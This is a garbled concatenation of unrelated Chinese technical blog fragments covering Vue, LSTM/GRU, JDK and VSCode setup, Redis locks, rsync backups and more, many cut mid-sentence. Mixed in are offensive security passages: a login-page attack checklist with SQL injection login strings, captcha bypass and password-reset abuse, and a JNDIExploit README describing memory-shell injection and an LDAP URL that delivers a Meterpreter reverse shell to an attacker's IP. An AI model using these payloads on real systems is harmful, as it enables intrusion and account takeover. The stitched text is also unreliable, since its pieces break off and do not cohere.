例如:想要在index.ts中创建getAction函数,并可以全局使用:
import { http } from '@/utils/axios' export function getAction (url: string, params: object) { return http.request({ url: url, method: 'get', params: params }) } 方式一:使用依赖注入(provide/inject)
在main.ts中进行挂载:
import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { getAction } from 'index' app.provide('getAction', getAction) // 将getAction方法挂载到全局 app.mount('#app') 在要使用的页面注入:
<script setup lang="ts"> import { inject } from 'vue' const getAction: any = inject('getAction') </script> 方式二:使用 app.
LSTM(长短期记忆) 最核心的设置是:传送带(belt) Forget Gate(f):a vector (the same shape as c and h) 遗忘门的作用:1. A Value of zero means "let nothing through" 2. A Value of one means "let everything through" 模型注释:W为可学习的参数矩阵,h代表上一时刻的更新状态,x代表这一时刻的观察状态,h和x做concatation。 Input Gate(i): decide which values of the conveyor belt we will update 输入门的作用:决定哪个值会被更新 模型注释:W为可学习参数矩阵,h代表上一时刻的更新状态,x代表这一时刻的观察状态,h和x做concatation。 !!注意:tanh激活函数使值位于[-1,1] 传送带更新 注释:分别做elementwise运算,再进行相加运算 Output gate(o):decide what flows from the conveyor belt C to the state 输出门作用:更新输出 更新状态state GRU(门控循环单元) Reset(重置门):有点类似LSTM的遗忘门 Update(更新门):更新当前的观察数据 候选隐藏状态:输入更新 更新隐藏状态:学习历史数据并且更新当前输入数据 公式总结如下: 个人总结:GRU与LSTM对比: 时间序列模型不同点相同点GRU1.
JDK下载与安装 文章目录 JDK下载与安装1.Windows2.MacOS2.1 一键安装方式(推荐)2.2 手动配置方式 3.Linux4.在IDEA中配置JDK JDK是Java Development Kit的缩写,它是Java开发所必需的基础工具包。下面是JDK不同操作系统的下载与安装步骤。(若对您有帮助记得点赞收藏哦 😊)
1.Windows 访问Oracle官方网站的JDK下载页面:https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
在该页面中,选择适用于Windows的JDK版本。可以选择不同的安装包,如 .exe 文件、zip 文件等。对于一般用户,建议下载 Windows x64 Installer,这是一个包含安装程序的exe文件。
您可能需要进行账户验证才能继续下载。
运行下载完成的安装程序。如果您使用的是Windows 10系统,则可以直接双击安装程序,启动安装向导。
可以保持默认安装位置,也可以自定义安装位置。(以安装在 D:develop\Java\jdk\jdk-11\ 为例)
打开系统环境变量。
新增一个 JAVA_HOME 系统变量,路径即刚才的 JDK 安装目录。
配置PATH环境变量,新增 %JAVA_HOME%\bin 变量,bin目录下就是 JDK 的一些基本命令,配置完才能在命令行窗口中使用 java 和 javac 命令。
在命令行窗口中输入 java -version 命令来验证JDK的安装是否成功。如果成功安装,会显示JDK的版本信息。
2.MacOS 2.1 一键安装方式(推荐) 访问Oracle官方网站下载JDK8 或 JDK11:(以JDK11为例)
JDK8:https://www.oracle.com/java/technologies/downloads/#java8
JDK11:https://www.oracle.com/java/technologies/downloads/#java11
选择适用于macOS的JDK版本。
由于我们下载的是安装版本,安装即完成。打开 Terminal 应用程序,使用 java -version 命令检查您的Mac是否已安装 JDK 即可。
默认安装路径:/Library/Java/JavaVirtualMachines
2.2 手动配置方式 如果您不想将 JDK 安装到默认位置,可以选择手动安装,此时需要下载压缩包版本。
访问Oracle官方网站下载JDK8 或 JDK11:(以JDK11为例)
本文面向的对象是初次接触搭建C语言开发环境的学生或编程爱好者,以及想脱离诸如VC++6.0等过时开发工具从而转用VScode的人群
本文内容较多,篇幅较长,可按照需要选择阅读,文中如有纰漏,欢迎斧正。
我郑重承诺下面会是一篇极为详细的教程:
目录
一、安装并配置VScode
二:安装编译器
1.1.Windows环境下载并配置MinGW:
1.2.macOS环境下安装编译器(可选gcc/clang编译器):
配置使用gcc作为编译器
配置使用clang作为编译器
macOS环境下配置VScode使用编译器
2.(建议)VSCode IntelIiSence的包含路径设置
三、配置Debug环境
附:CodeLLDB插件调试环境(优雅地Debug)配置
四、参考文档附录
1.Windows VSCode使用MinGW配置文件参考
2.macOS VSCode 配置文件
gcc编译器对应文件参考
clang编译器对应文件参考
五、文末填坑
Q1:macOS配置gcc为什么要这么麻烦? 既然macOS gcc的安装和配置比clang麻烦,为什么要把gcc的配置方法也写出来,只说clang不就可以了吗?
Q2:为什么会写这篇文章?
一、安装并配置VScode 这里我们可以直接去微软官网下载安装,建议在跳转下载页面右键单击“direct download link”复制链接到迅雷下载,会快很多。
直接选择自己系统对应的Stable版本即可,当然也可以试试Insiders公测版
在VScode的扩展界面里搜索并下载如下扩展:
1.C/C++ Extension Pack
(扩展包里内含有C/C++、C/C++ Themes、CMake Tools和CMake,也一起装了)
2.Chinese(Simplified) 中文汉化包
3.Code Runner(运行代码)
安装好Code Runner后要记得在它的拓展设置里勾选“Run In Terminal”
4.CodeLLDB(更优雅的Debug调试环境)(在 第三大节附录“CodeLLDB插件调试环境配置” 有教程)
5.indent-rainbow(可选,可以根据代码前缩进颜色看出代码层)
建议:可以在“文件”选项中勾选自动保存(macOS版本如图,在菜单栏;Windows版本的在窗口左上角)
二:安装编译器 1.1.Windows环境下载并配置MinGW: MinGW的全称是:Minimalist GNU on Windows,其实也就是gcc(c/c++编译器)在Windows上的移植版本。
附:官方开源库地址,可以下载最新版本的MinGW:(示例:x86_64-12.2.0-release-win32-sjlj-rt_v10-rev0.7z)
下载MingW64压缩包并解压至合适的位置,然后在解压后的文件夹里打开bin文件夹按如图所示复制文件地址
然后转到系统设置->系统->系统信息->高级系统设置->环境变量->系统变量里 选中并编辑Path,然后新建一个项把刚才的地址给复制进去,点击保存就可以了(注意是要编辑系统变量里的Path而非用户变量的Path)
编辑系统变量里的Path而非用户变量的Path
使用“win+R”快捷键,输入cmd后回车(另:使用终端(terminal)也是可以的),在弹出的窗口中输入“gcc -v -E -x c++ -”命令检验gcc是否配置好,如果和下面的一样就说明OK了。
表格信息如图
想得到第四列,是前三列的求和
上代码
import pandas as pd # 读取表格信息 df = pd.DataFrame(pd.read_excel("样例表.xlsx", engine='openpyxl')) # 自定义求和函数,传入 series def sum_fun(series): aa = int(series["数据1"]) bb = int(series["数据2"]) cc = int(series["数据3"]) dd = aa + bb + cc return dd # 执行函数,并在表格中添加新列 求和 将每行的计算的结果写入最后一列 df['求和'] = df.apply(sum_fun, axis=1)
小白为了学会在操作系统搭建各种服务器、学会使用linux命令只能查阅资料从头学起
小白自行编辑文档,如有问题,大佬可以指出交流哈
小白希望大家们多多点赞哈
一、安装VMware Workstation Pro 在官网找VMware下载路径安装到电脑上 https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
1.点击以上官网链接,往下滑动
2.展示出当前页面选择Workstation 17 Pro for Windows
3.点击DOWNLOAD NOW
4.选择你电脑下载路径
下载后开始安装VMware 找寻你电脑下载路径双击打开以下图标
如果只是在自己电脑上进行测试使用话,后续只需要保持默认选项点击下一步完成即可。
安装完毕后新虚拟机 下载相关操作系统镜像,以Centos7为例
https://archive.kernel.org/centos-vault/centos/7.8.2003/isos/x86_64/
点击以上链接下载centos7得镜像,选择该版本
在VMware Workstation Pro上新建虚拟机
选择典型,点击下一步
上传刚下载得centos7镜像,点击下一步
填写简易安装信息
全名:该虚拟机操作系统名字
用户名/密码:后续登录操作系统需要用到,尽量简单点
到这一步虚拟机centos7就安装成功
不理解地方大家可以给我留言哈,我看到会及时回复呢😃
希望大家看完给这个打工人留下个赞吧🙏
目录
简介
场景举例
分布式一致性解决方案
方案1:TCC与MQ保证最终一致性
解决方案
异常场景模拟分析
简介 系统开发过程中,我们通常会遇到一个服务涉及到多个PRC调用的场景,例如下单/秒杀扣减库存,优惠卷等。那么如果保证多个RPC服务最终的数据一致性,就成了我们通常需要解决的问题。
分布式系统中,RPC服务的调用通常存在三个状态,成功、失败和超时。超时场景时RPC可能是成功的,也肯能是失败的。针对上面这三种状态,在多个RPC调用或者本地数据与RPC如何保证一致的问题,存在已下多种解决方案。我们边学习,边记录。
场景举例 订单服务下单场景,需要执行三个操作,下单、扣库存,扣优惠。在分布式服务场景中,这三个服务分开独立部署。用户下单时,如何保证订单服务,库存服务,优惠服务数据一致,成了我们需要解决的问题。
分布式一致性解决方案 方案1:TCC与MQ保证最终一致性 TCC有三个操作,Try、Confirm和Cancle。每个操作对应上面三种状态:成功、失败和超时。
系统伪代码如下:
Order order = new Order(); //下单、扣库存、扣优惠串行执行 try { // 创建订单 orderService.saveOrder(order); // 库存服务根据订单扣减库存 stockService.reduceStock(order); // 促销服务扣除优惠 promotionService.reduceCoupon(order); } catch (Exception e) { // 更新订单状态为创建失败 orderService.updateStatus(order, OrderStatus.FAIL); // 归还库存, 额度 stockService.addStock(order); // 归还优惠 promotionService.addCoupon(order); } 上面伪代码,捕获了执行过程中失败的异常。如果执行失败,则订单创建失败、归还库存和优惠。实际上述伪代码存在一下几个问题:
RPC调用超时:三个服务都是RPC服务,RPC可能存在成功、失败和超时三种情况。在超时情况下,是不RPC服务是否执行成功的(例如扣减库存)。所以当发生异常时,归还库存可能导致库存变多。为了解决这一个问题,一般会让RPC服务保证幂等。在发生异常时,不论是否扣减成功,都先再次执行扣库存,扣除之后再还库存。多次重试尽量保证成功,达到最终一致性。系统宕机:在服务执行过程中,系统进程可能宕机。导致库存或者促销不一致。例如创建订单成功、扣减库存成功之后,系统宕机。此时为执行回归操作,导致促销优惠没有扣减,数据最终不一致 解决方案 下单伪代码如下:
Order order = new Order(); //发送预下单消息到MQ延时消息队列中(延迟30分钟) mqService.sendMsg(Message.PREPARE,order,30min); //下单、扣库存、扣优惠串行执行 try { // 创建订单 orderService.saveOrder(order); // 库存服务根据订单扣减库存 stockService.
Git 配置:设置用户名(user.name)和 邮箱(user.eamil) 原因 Git 提交代码时,会要求提供 用户名 和 邮箱。
解决方案 配置 全局 user.name 和 user.email ,使所有的 Git 仓库都使用统一的用户名和邮箱。
要求 用户名:使用 姓名全拼
邮箱:企业微信分配了邮箱,可以考虑使用
配置命令 输入配置命令,可以使用 Git Bash 、cmd 、VSCode终端 等方式。
配置命令如下:
设置全局姓名 git config --global user.name 《姓名》 设置全局邮箱 git config --global user.email 《邮箱》 结果演示 设置全局用户名 设置全局邮箱
目录 0x00 弱口令0x01 sql注入0x02 暴力破解0x03 验证码绕过0x04 修改响应码0x05 目录扫描0x06 找回密码功能0x07 注册功能0x08 历史漏洞0x09 端口扫描0x10 JS信息泄露总结 前言 在项目中经常会遇到只有一个登录页面的网站,没有账号密码,那么应该如何下手呢?整理一下我的思路,供大家参考。
0x00 弱口令 网站登录框怎么测?当然是先来一波弱口令,admin、test、admin123、admin888、123456、111111这些都是出现率比较高的,即使是部委级单位这种安全防护超高的系统也会存在弱口令的问题,所以说弱口令绝对是yyds。
0x01 sql注入 登录框尝试万能密码 1’ or 1=1 –、“or”="a’='a 等等,运气好的话就直接登录了,也可以保存登录的包用sqlmap跑一遍,简单有效。
这也是我挖到的人生中第一个漏洞:
用户名输入1’ or 1=1 –q,密码留空
登录成功
0x02 暴力破解 暴破常用用户名密码,注意观察账号正确和错误时的返回消息。如果返回消息不同,那就是存在用户名枚举漏洞了。掏出我们的神器burpsuite先暴破一波用户名,再用拿到的正确用户名暴力破解密码就很省时间了,需要注意的是有些网站页面显示的。
暴破得到admin的密码为q1w2e3r4
0x03 验证码绕过 如果登录有验证码怎么办?一个字:绕。
1、验证码字段删除或置空;
2、删除cookie;
3、万能验证码:1111、0000、8888等等;
4、burp抓包但不放包,将包发送到Repeater重放几次看看验证码能不能重复使用,大多数时候burp不用一直抓包也是可以绕过的。
5、如果有短信验证码功能,可以尝试暴力破解短信验证码,达到登录、注册或找回密码等目的,邮件验证码同理。一般情况下4位数的验证码在5分钟内跑完是没问题的。
还有很多验证码绕过的方法,这里不一一列举,找时间专门出一篇验证码绕过方法的分享文章吧。
0x04 修改响应码 Burp拦截登录的响应包进行修改,将响应码修改后可能会越权登录被测系统。一般情况下正确的响应码有:0、1、200、true、success。也可以在有正确账号密码的情况下进行登录,直接查看正确的响应包是什么构造,再重新用错误账号进行登录修改响应码。不仅是登录功能,找回密码、注册账号等存在逻辑验证的点都有可能存在此漏洞。
0x05 目录扫描 用工具扫描目录,这里推荐使用dirsearch。可能会发现网站备份文件、后台地址等等,往往会有意外惊喜,写这篇文章前一天就用dirsearch发现了一个phpmyadmin管理界面,之后通过万能密码进到了数据库,话不多说,展示:
使用用户名’localhost’@'@”密码为空登录成功
0x06 找回密码功能 此功能点可能存在的漏洞有任意用户密码重置、短信/邮件轰炸、验证码爆破、验证码绕过、验证码回显、sql注入,逻辑漏洞较多。
分享一个edu的任意用户密码重置漏洞:
1、填写未注册的手机号获取验证码,修改密码
2、burp跑一遍常用测试手机号码,成功修改了账号13333333333的密码
3、使用新密码qwe123QWE!@#登录13333333333账号成功
0x07 注册功能 此功能点可能存在的漏洞有任意用户注册等等,和找回密码功能中可能存在的漏洞高度相似。
0x08 历史漏洞 Shiro反序列化、Struts2系列漏洞、历史爆出的cms漏洞、log4j、中间件漏洞……。
0x09 端口扫描 Nmap全端口扫描:nmap -sS -A -p 1-65535 ip,扫到ssh、ftp、telnet、数据库等等端口可以尝试进一步利用。
JNDIExploit 一款用于 JNDI注入 利用的工具,大量参考/引用了 Rogue JNDI 项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。
对 @feihong-cs 大佬的项目https://github.com/feihong-cs/JNDIExploit 进行了一些改进,tomcatBypass现可直接上线msf。见添加内容2
免责声明 该工具仅用于安全自查检测
由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。
添加内容 添加内容是为了支持SpringBootExploit工具,是定制版的服务端。
启动方式:java -jar JNDIExploit-1.3-SNAPSHOT.jar 默认绑定127.0.0.1 LDAP 绑定 1389 HTTP Server 绑定3456根目录下BehinderFilter.class是内存马 /ateam 密码是ateamnbdata/behinder3.jar 是为了支持SnakYaml RCE添加HTTPServer处理更多的请求,为了更好支持SpringBootExploit工具将文件放在data目录下,通过HTTPServer可以访问文件内容如同python的HTTPServer 添加内容2 新增哥斯拉内存马
支持引用类远程加载方式打入(Basic路由)支持本地工厂类方式打入 (TomcatBypass路由) 哥斯拉客户端配置:
密码:pass1024 密钥:key 有效载荷:JavaDynamicPayload 加密器:JAVA_AES_BASE64 修复之前版本中的一些问题,冰蝎内存马现已直接可用冰蝎客户端直连
新增msf上线支持
支持tomcatBypass路由直接上线msf: 使用msf的java/meterpreter/reverse_tcp开启监听 ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/[msfip]/[msfport] TODO 本地ClassPath反序列化漏洞利用方式支持自定义内存马密码内存马模块改一下 使用说明 使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数
Usage: java -jar JNDIExploit.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false) -h, --help Show this help 使用 java -jar JNDIExploit.
本人刚学OpenGL不久且自学,文中定有代码、术语等错误,欢迎指正
我写的项目地址:https://github.com/liujianjie/LearnOpenGLProject
LearnOpenGL中文官网:https://learnopengl-cn.github.io/
文章目录 变换向量单位向量向量点乘向量叉乘 矩阵矩阵的缩放矩阵的平移矩阵的旋转矩阵的组合 GLM集成到项目中例子 此节简要记些比较重要的基础数学背景,更完整内容请看LearnOpenGL官网。
变换 有两种方式改变物体的位置
在每一帧改变物体的顶点并且重配置缓冲区从而使它们移动使用(多个)矩阵(Matrix)对象可以更好的变换(Transform)一个物体 向量 单位向量 特殊性质:它的长度是1
单位向量计算方法
为它每个分量除以向量的长度得到它的单位向量
例子
(4,2)它的长度是√20
那么单位向量是:((4/√20),(2/√20))
单位向量的长度是:√((4/√20)*(4/√20)+(2/√20)*(2/√20)) = 1
向量点乘 公式
v*k=v的长度*k的长度*cos(v与k的夹角)
正交,夹角90度
v*k点积为0
点乘的值v*k
由点乘值算两向量的夹角
用反余弦函数arccos(-0.8) = 143.1度
算夹角
计算两个单位向量间的夹角,我们可以使用反余弦函数cos−1,可得结果是143.1度。
现在我们很快就计算出了这两个向量的夹角。
点乘会在计算光照的时候非常有用。
向量叉乘 公式
竖着摆更直观
结果是
得到一个正交于两个输入向量的第三个向量
矩阵 矩阵的缩放 矩阵的平移 矩阵的旋转 最麻烦的
用矩阵来旋转变换,会导致万向锁,需要用四元数。
矩阵的组合 记住顺序-下面有glm例子
写代码的顺序
平移矩阵*旋转矩阵*缩放矩阵*向量
解读的顺序
从右往左读,向量先进行缩放,再进行旋转最后平移
例子
注意
当矩阵相乘时,在最右边的矩阵是第一个与向量相乘的,所以应该从右向左读这个乘法
如果代码是:缩放矩阵*旋转矩阵*平移矩阵
解读时是先平移再旋转、缩放,可能会造成消极地影响。
比如,如果先位移再缩放,位移的向量也会同样被缩放。
从2x+1,变成(1+x)*2
若x=1,2x+1=3,(1+x)*2=4
GLM 集成到项目中 网站下载
https://github.com/g-truc/glm
不需要编译成lib文件
如何集成glm
复制文件夹到项目下
包含这个目录
很喜欢泰戈尔的一段话:有一个夜晚我烧毁了所有的记忆,从此我的梦就透明啦;有一个早晨我扔掉了所有的昨天,从此我的脚步就轻盈啦。 OneForAll 一款强大的子域收集工具-OneForAll
项目地址:GitHub - shmilylty/OneForAll: OneForAll是一款功能强大的子域收集工具
目录
OneForAll
前言
一、OneForAll是什么?
二、安装
1.必要环境
2.安装依赖包
3.基本使用
总结
前言 在渗透测试中信息收集的重要性不言而喻,子域收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
不够强大,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证,FUZZ以及信息拓展等功能。不够友好,固然命令行模块比较方便,但是当可选的参数很多,要实现的操作复杂,用命令行模式就有点不够友好,如果有交互良好,高可操作的前端那么使用体验就会好很多。缺少维护,很多工具几年没有更新过一次,issues和PR是啥,不存在的。效率问题,没有利用多进程,多线程以及异步协程技术,速度较慢。 为了解决以上痛点,此项目应用而生,正如其名,我希望OneForAll是一款集百家之长,功能强大的全面快速子域收集终极神器🔨。
一、OneForAll是什么? OneForAll,是 shmilylty 在 Github 上开源的子域收集工具,目前版本为 v0.4.5。
收集能力强大,利用证书透明度收集子域、常规检查收集子域、利用网上爬虫档案收集子域、利用DNS数据集收集子域、利用DNS查询收集子域、利用威胁情报平台数据收集子域、利用搜索引擎发现子域,在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
支持子域爆破,该模块有常规的字典爆破,也有自定义的fuzz模式,支持批量爆破和递归爆破,自动判断泛解析并处理。
支持子域验证,默认开启子域验证,自动解析子域DNS,自动请求子域获取title和banner,并综合判断子域存活情况。
支持子域爬取,根据已有的子域,请求子域响应体以及响应体里的JS,从中再次发现新的子域。
支持子域置换,根据已有的子域,使用子域替换技术再次发现新的子域。
支持子域接管,默认开启子域接管风险检查,支持子域自动接管(目前只有Github,有待完善),支持批量检查。
处理功能强大,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动筛选出有效子域,拓展子域的Banner信息,最终支持的导出格式有txt, csv, json。
速度极快,收集模块使用多线程调用,爆破模块使用massdns,DNS解析速度每秒可解析350000以上个域名,子域验证中DNS解析和HTTP请求使用异步多协程,多线程检查子域接管风险。
体验良好,各模块都有进度条,异步保存各模块结果。
二、安装 1.必要环境 python3 //python -V:查看当前python版本环境,windows必须使用3.8.0以上版本
pip3 //pip3 -V:查看当前pip版本环境
2.安装依赖包 1|python3 -m pip install -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/ 2|pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ 3.基本使用 python oneforall.py --help 单个目标网站扫描
python oneforall.
数据加密方式有: 单向加密、对称加密、非对称加密、加密盐、散列函数、数字签名。
1、单向加密 单向加密通过对数据进行摘要计算生成密文,密文不可逆推还原。只能加密,不能解密,常用于提取数据的指纹信息以此来验证数据的完整性。但是会引发雪崩效应(雪崩效应就是一种不稳定的平衡状态也是加密算法的一种特征,它指明文或密钥的少量变化会引起密文的很大变化,就像雪崩前,山上看上去很平静,但是只要有一点问题,就会造成一片大崩溃。 可以用在很多场合对于Hash码,雪崩效应是指少量消息位的变化会引起信息摘要的许多位变化。)
算法代表:Base64,MD5,SHA。
2、对称加密 对称加密的加密和解密是使用同一个密钥;加密和解密的速度比较快,效率比较高;但是密钥传输过程不安全,容易破解,而且密钥管理也比较麻烦。
算法代表:DES,3DES,AES,IDEA,RC4,RC5。
对称加密可以分为两类:序列密码和分组密码
2.1、序列密码
从概念上讲,序列密码(stream cipher)的操作过程与我们想象中加密的过程一致。将1字节的明文输入加密算法,就得到1字节的密文输出。在对端则进行相反的过程。整个过程持续重复,直到所有数据处理完成。因为这种思路比较简单,序列密码绝不能第二次使用相同的密钥。这是因为在实际使用中,攻击者知道或者可以预测特定区域的明文(请思考加密HTTP请求的情景;许多请求的请求方法、协议版本、请求头名称都是一样的)当你知道明文,又观察到密文时,就可以解析一部分密钥序列。如果使用了相同的密钥,那么就可以解密后续的部分密文。为了解这个问题,序列密码都与从长期密钥中提取出来的一次性密钥一同使用。
2.2、分组密码
分组密码(block cipher)每次加密一整块数据,并且现代的分组密码倾向于使用128位(16字节)大小的块。一种分组密码就是一个变换函数:接受输入并生成看似杂乱无章的输出。只要使用相同的密钥,每一个可能的输入组合都有唯一的输出。
我们可以理解为更高级的对称加密算法。这种加密算法也是非常常见,例如AES加密,有128位、192位和256位的加密强度。在现在的系统对接时,AES加密非常常见。
3、非对称加密 相对对称加密而言,无需拥有同一组密钥,非对称加密是一种“信息公开的密钥交换协议”。非对称加密需要公开密钥和私有密钥两组密钥,公开密钥和私有密钥是配对起来的,也就是说使用公开密钥进行数据加密,只有对应的私有密钥才能解密。这两个密钥是数学相关,用某用户密钥加密后的密文,只能使用该用户的加密密钥才能解密。如果知道了其中一个,并不能计算出另外一个。因此如果公开了一对密钥中的一个,并不会危害到另外一个密钥性质。这里把公开的密钥为公钥,不公开的密钥为私钥。
算法代表:RSA,DSA。
4、加密盐 加密盐也是比较常听到的一个概念,盐就是一个随机字符串用来和我们的加密串拼接后进行加密。加盐主要是为了提供加密字符串的安全性。假如有一个加盐后的加密串,黑客通过一定手段这个加密串,他拿到的明文,并不是我们加密前的字符串,而是加密前的字符串和盐组合的字符串,这样相对来说又增加了字符串的安全性。
5、散列函数 散列函数在密码学中也是不可缺少的一部分。散列函数(hash function)是将任意长度的输入转化为定长输出的算法。谈到散列函数,肯定会想到MD5加密,这种就是一种最为常见的散列函数。散列函数的特点:
抗原像性(单向性)给定一个散列,计算上无法找到或者构造出生成它的消息。即不能还原,MD5即是一种单项加密,因此,经常用于密码加密,实现即使管理员也无法知道用户的密码的功能。
抗第二原像性(弱抗碰撞性)给定一条消息和它的散列,计算上无法找到一条不同的消息具有相同的散列。
强抗碰撞性 计算上无法找到两条散列相同的消息。
6、数字签名 在通过散列函数来验证消息完整性的时候,仅仅在信息和数据的散列分开传输的时候才可以,否则中间人可以修改数据的同时修改散列,从而避开检测。数字签名主要是验证数据的真伪。微信通过对称加密生成的签名,支付宝通过非对称加密生成签名。效果差别不大。只要足够证明自己的身份即可。
这里着重介绍下RSA,RSA是首个适用以签名作为加密的算法。被用于银行网上支付、电商交易。
RSA是Rivest、Shamir、Adleman三位数学家的缩写。其数学原理是大整数因数分解极其苦难的原因设计的一种算法。
RSA算法优点 不需要进行密钥传递,提高了安全性
可以进行数字签名认证
RSA算法缺点 加密解密效率不高,一般只适用于处理小量数据(如:密钥)
容易遭受小指数攻击
非加密算法实现流程图:
在此可以看到,非对称加密是通过两个密钥(公钥-私钥)来实现对数据的加密和解密的。公钥用于加密,私钥用于解密。
下面做一个简单的登录功能来测试示例
前端:这里用的是 jsencrypt.js
代码:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>测试</title> </head> <body> <div>打开控制台查看</div> </body> <!--jquery cdn--> <script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script> <!--引入jsencrypt.js cdn--> <script src="https://cdn.bootcss.com/jsencrypt/3.0.0-beta.1/jsencrypt.js"></script> <script type="text/javascript"> var publicKey = '公钥串'; console.
相信在日常开发中,基于 Redis 天然支持分布式锁,大家在线上分布式项目中都使用过 Redis 锁。本文主要针对某些异常场景下,加锁代码执行时间超过了加锁时间,导致任务还没执行完,但是锁已经释放的问题进行讲解并给出实践代码。本文版本说明如下:
Spring Boot 版本 3.0.2演示项目地址:github.com/wayn111/new… github地址:github.com/wayn111 欢迎大家关注,点个star 一、过期时间 一般情况下我们加锁时,都会指定过期时间参数,当任务执行时间超过了锁过期时间,下一个任务进来时就会获取到锁,造成异常。
针对过期时间常见有两种处理方法:
自动续期:锁快到期时,通过定时任务自动续期加锁不设置过期时间:任务不执行完,锁就不会过期 这里博主给出自己的分析:
第一种方案:当设置了过期时间后,如果还执行自动续期操作,那么这个锁的实际过期时间就与我们在加锁时设置的过期时间不符合,产生了逻辑上的冲突!所以博主认为自动续期操作对已经设置了过期时间的锁不适用。
第二种方案:加锁不设置过期时间的话,理论上好像是可以解决这个问题,任务不执行完,锁就不会释放。但是实际针对一些极端异常场景下,如果任务执行过程中,服务器宕机、网络断连等都可能造成锁释放不了,比如加锁成功了,执行中发生了宕机,程序直接没了,但是锁还在,另一个任务就一直获取不到锁。
综合来看:博主认为如果加锁代码需要添加过期时间,其实不需要进行自动续期操作。当我们需要确保当前任务没执行完,下一个任务一定不能获取到锁时,可以不设置过期时间。
那怎么避免第二种方案中,异常场景下,锁一直未释放的问题嘞?
答案是在加锁成功时,如果没有指定过期时间,则给一个默认过期时间比如三十秒,通过定时任务给我们的锁进行自动续期,这样就既可以解决锁一直未释放的问题,又能保证下一任务获取不到当前任务的锁。
二、 代码实践 2.1 加锁 首先看加锁操作,如果不指定过期时间,则会指定默认过期时间,通过 lua 脚本加锁
private String buildLuaLockScript() { return """ local key = KEYS[1] local value = ARGV[1] local time_out = ARGV[2] local result = redis.call('setnx', key, value) if tonumber(result) == 1 then redis.call('expire', key, time_out) return 1; else return 0; end """; } 复制代码 成功后,启动一个定时任务每隔 默认过期时间 / 3 秒后执行一次续期操作
文章目录 时间复杂度的定义常见时间复杂度的排序复杂表达式的化简O(logn)中的log是以什么为底常见的时间复杂度数据结构图排序算法冒泡排序选择排序插入排序快速排序归并排序堆排序 搜索算法 具体示例 时间复杂度的定义 时间复杂度是一个函数,它定性描述该算法的运行时间。
我们默认CPU的每个单元运行消耗的时间都是相同的,因此算法的运行时间可以用算法的操作单元数量来表示。
假设算法的问题规模为n,其操作单元数量用函数f(n)来表示,那么随着n的增大,算法运行时间的增长率和f(n)的增长率相同,这称为算法的渐进时间复杂度,简称时间复杂度,记为O(f(n))。
常见时间复杂度的排序 我们所说的时间复杂度都是省略常数项系数的,因为一般情况下都默认数据规模足够大,基于这个事实,给出下列排行:
O(1) < O(logn) < O(n) < O(nlogn) < O(n2) < O(n3) < O(2n) < O(n!) < O(nn)
为什么要去掉常数项?
因为大O就是数据量级突破一个点且数据量非常大的情况下所表现出的时间复杂度,对于这个数据量,常数项系数已经不起决定性作用了。
复杂表达式的化简 如:O(2n2 + 10n + 1000)
化简步骤:
去掉加法常数项,即O(2n2 + 10n)去掉常熟系数,即O(n2 + n)只保留最高项,即O(n2 ) O(logn)中的log是以什么为底 对数函数的性质:log2n = log2i * login,其中log2i 是常数
即O(login ) = O(log2n ),因此可以直接忽略底数
常见的时间复杂度 数据结构 图 排序算法 冒泡排序 依次比较相邻的元素,如果前者大于后者,则交换。相当于从后往前确定元素。
void BubbleSort(int* Array, int ) { for (int i = 0; i < n; i++) { bool Flag = 0; int Temp = 0; for (int j = 0; j < n - i - 1; j++) { if (Array[j] > Array[j + 1]) { Flag = 1; swap(Array[j], Array[j + 1]); } } if (!
前言 我装的manjaro系统,但避免Linux出现什么问题,我已近作为日常系统使用了,需要维持系统稳定,所以备份一个系统显得很重要。我的场景是这样,把系统的文件备份到新的存储区域,这个区域可以是U盘,硬盘其他分区空间甚至是网络服务器的空间。
下面我执行一个具体操作把系统备份到一个移动U盘上。
需要:
Linux系统U盘 目标 备份/目录重要的文件夹,使用rsync把系统备份到移动U盘里。
操作 1.备份到移动U盘命令 执行以下命令会把源路径数据备份到目标路径下
rsync -av --delete \ --exclude= \{"/dev/*","/proc/*","/sys/*","/tmp/*","/run/*","/mnt/*","/media/*","/lost+found","/home"} \ / \ /run/media/hacah/0FCE14130FCE1413/backup-manjaro/systembackup\ | tee /home/hacah/logs/backupSystem/backup.log /:为源路径
/run/media/hacah/0FCE14130FCE1413/backup-manjaro/systembackup:目标路径,这个路径提前在U盘创建出来。
–exclude={“/dev/“,”/proc/”,“/sys/“,”/tmp/”,“/run/“,”/mnt/”,“/media/*”,“/lost+found”,“/home”}:排除路径,这里排除了/home目录,需要备份的也可以排除。
–delete:删除可能在备份设备中已经存在但却不再存在于源设备中的文件
tee /home/hacah/logs/backupSystem/backup.log:记录日志,可以不要
2.后续的备份直接执行这个命令就行 3.备份恢复 操作命令上一致的,只是换一个目标顺序
rsync -av /run/media/hacah/0FCE14130FCE1413/backup-manjaro/systembackup / 后言 备份系统的方式多种多样,除了备份到U盘,还可以使用rsync备份到网络中的存储设备。
除了rsync还可以使用dd命令直接备份整个硬盘分区。
除了手动备份,还能使用编写脚本方式自动备份系统,或者使用软件备份系统。
不同场景使用不同解决方式,自己还要多加寻找,找到自己最适合的解决方式。
附加知识 给出一些关于rsync的资料:
sudo rsync -av --delete /etc /home /usr/local /media/BigDisk/backup –delete :删除可能在备份设备中已经存在但却不再存在于源设备中的文件
备份到远程硬盘:
